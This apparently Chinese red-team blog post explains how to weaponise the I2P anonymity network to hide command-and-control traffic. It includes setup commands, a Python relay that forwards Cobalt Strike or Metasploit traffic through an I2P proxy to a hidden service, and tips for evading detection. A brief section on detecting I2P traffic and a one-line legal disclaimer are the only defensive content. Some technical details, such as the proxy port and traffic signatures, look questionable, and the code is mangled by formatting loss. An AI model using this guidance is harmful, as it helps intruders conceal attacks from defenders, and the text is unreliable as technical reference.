一、暗网攻防中的「隐秘骑士」：I2P的核心技术剖析

2019年，某国一起与金融行业相关的APT攻击事件引发了广泛关注。攻击者巧妙利用I2P（Invisible Internet Project）匿名网络搭建了隐藏的C2服务器，成功规避了传统流量分析与威胁检测手段。在事件曝光后，安全社区才意识到I2P这一隐秘技术的强大威胁。

可见，对于红队行动和防御人员而言，理解I2P的工作机制、流量特征以及攻击方式，是必不可少的技能。本文将从攻击者视角，解析I2P匿名网络的核心技术，并分享如何在渗透测试中利用I2P隐藏通信流量。

---

二、I2P匿名网络的基本原理：你必须知道什么？

在深入攻击之前，我们需要对I2P匿名网络的原理有一定了解。简单来说，I2P是一个去中心化的匿名通信网络，设计初衷是为用户提供安全、隐私和匿名的互联网通信。它的主要特点包括：

  1. 消息路由多重加密： I2P采用多层加密技术，消息会在多条路径中通过多个中继节点（称为Router）转发，确保源头无法被追踪。
  2. 动态路径选择： 发送数据前，I2P会动态为每条消息选择独立的路径，避免单一攻击点。
  3. 隐藏服务： 类似于Tor的.onion域名，I2P提供了.eepSites隐藏服务，允许用户托管匿名网站或服务。

核心技术组件

  • Tunnel（隧道）： 每个I2P用户（称为Router）都会创建入站和出站隧道，分别用于接收和发送加密消息。
  • NTCP和SSU协议： I2P客户端通过这两种协议在互联网中通信。NTCP（基于TCP）用于可靠通信，而SSU（基于UDP）专为高性能场景设计。
  • Distributed Hash Table（DHT）： 网络节点通过分布式哈希表进行寻址和服务发现。

技术对比：I2P vs Tor

虽然Tor更为知名，但I2P相较而言更适合点对点流量。它缺乏类似Tor的全球出口节点，因此更专注于内部服务，适合搭建隐秘的C2服务器。

---

三、搭建实战环境：你的隐秘后门通道

在红队行动中，我们通常利用I2P部署隐藏的C2基础设施，绕过目标环境中的流量检测工具。以下是完整的实验环境搭建步骤：

1. 准备工作

  • 操作系统： Kali Linux或Ubuntu（用作攻击机）
  • 工具： I2P客户端、Cobalt Strike（或Metasploit）、Python环境
  • 目标服务： 一台带公网IP的VPS，用于测试I2P服务部署

安装I2P客户端： <pre><code class="language-bash"># 更新系统源 sudo apt update &amp;&amp; sudo apt upgrade -y

安装I2P服务端

sudo apt install i2p -y

启动I2P服务

sudo systemctl start i2p.service

设置I2P开机自启

sudo systemctl enable i2p.service</code></pre>

2. 配置I2P Router Console

I2P客户端安装完成后，打开浏览器访问 http://127.0.0.1:7657，进入Router控制台。这是I2P网络的管理界面，所有流量都会通过这里路由。

常见配置：

  • 带宽限制： 在Bandwidth Settings中设置上传、下载速率，避免占用系统带宽。
  • 隧道长度： 默认隧道长度为3，适度增加隧道深度可以提升匿名性，但会降低性能。

3. 部署隐藏服务（eepSite）

利用I2P，我们可以快速搭建一个匿名网站或通信通道，用于C2服务器通信。以下是配置步骤：

配置隐藏服务：

<pre><code class="language-bash"># 创建隐藏服务的主目录 mkdir -p ~/.i2p/eepsite/htdocs cd ~/.i2p/eepsite/htdocs

创建一个简单的HTML页面

echo &quot;&lt;h1&gt;Welcome to my hidden service&lt;/h1&gt;&quot; &gt; index.html

启动I2P内置的Jetty web服务器

sudo systemctl restart i2p.service</code></pre>

获取隐藏服务地址：

在Router Console中，导航到I2P Services > Local Destinations，找到分配的.eepSite地址。例如： <pre><code>http://example123.i2p</code></pre>

---

四、武器化I2P：C2流量隐匿的艺术

黑客示意图

在攻击场景中，I2P最常用的用途是在目标网络中搭建隐秘的C2通信通道。以下是一个实际案例：使用Python实现通过I2P转发C2流量。

流量转发器代码

下面的Python脚本使用I2P Socks代理，将本地Cobalt Strike或Metasploit的流量转发到隐藏服务。

<pre><code class="language-python">import socket import socks # PySocks库，用于支持Socks代理 import threading

配置I2P代理地址（本地Socks监听）

I2P_PROXY = &quot;127.0.0.1&quot; PROXY_PORT = 4444

目标隐藏服务地址

TARGET_HOST = &quot;example123.i2p&quot; TARGET_PORT = 80

黑客示意图

本地监听端口

LOCAL_PORT = 9999

def handle_client(client_socket):

创建通过I2P代理的连接

socks.set_default_proxy(socks.SOCKS5, I2P_PROXY, PROXY_PORT) s = socks.socksocket() s.connect((TARGET_HOST, TARGET_PORT))

while True:

转发数据到隐藏服务

request = client_socket.recv(4096) if len(request) == 0: break s.send(request) response = s.recv(4096) client_socket.send(response)

client_socket.close() s.close()

def start_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((&quot;0.0.0.0&quot;, LOCAL_PORT)) server.listen(5)

print(f&quot;[*] Listening on 0.0.0.0:{LOCAL_PORT}&quot;)

while True: client_socket, addr = server.accept() print(f&quot;[*] Accepted connection from {addr}&quot;) client_handler = threading.Thread(target=handle_client, args=(client_socket,)) client_handler.start()

if __name__ == &quot;__main__&quot;: start_server()</code></pre>

运行脚本

  1. 启动I2P Router，确保Socks代理服务正常运行。
  2. 配置Cobalt Strike的TeamServer，监听本地9999端口。
  3. 运行上述脚本，建立C2和I2P隐藏服务之间的桥接。

黑客示意图

---

五、流量分析与检测对策：如何识别I2P？

虽然I2P的匿名性较强，但其流量特征仍然可以被检测。以下是几种识别与检测I2P流量的方法：

1. 流量模式分析

I2P的加密流量通常使用UDP（SSU协议）或TCP（NTCP协议），在Wireshark中可以捕获到如下特征：

  • 数据包大小固定（通常为1024字节）。
  • 数据始发端口为高号（随机分配），目标端口固定为8887或7655。

2. 黑名单机制

企业防火墙可以通过阻止I2P网络的公共节点IP地址，限制用户访问I2P服务。

3. 代理流量检测

检查本地Socks代理流量（通常监听127.0.0.1:4444端口），分析是否有大量未知目的地的流量。

---

六、总结与个人经验分享

在红队渗透测试中，I2P是一个强大的匿名通信工具，特别适用于在高安全环境中部署C2服务器或隐藏攻击流量。然而，I2P也并非毫无破绽，其流量特征和通信模式仍然可以被有经验的安全团队分析识别。

个人建议：

  1. 控制流量大小： 避免通过I2P发送大文件，尽量模拟真实用户行为。
  2. 定期切换隧道： 动态替换入站和出站隧道，提升匿名性。
  3. 多层代理： 将I2P与其他代理技术（如Tor）结合，进一步混淆流量。

最后，务必记住，本技术仅限于授权测试场景，任何非法用途将面临法律后果。希望本文能为你的红队行动提供新的思路与灵感！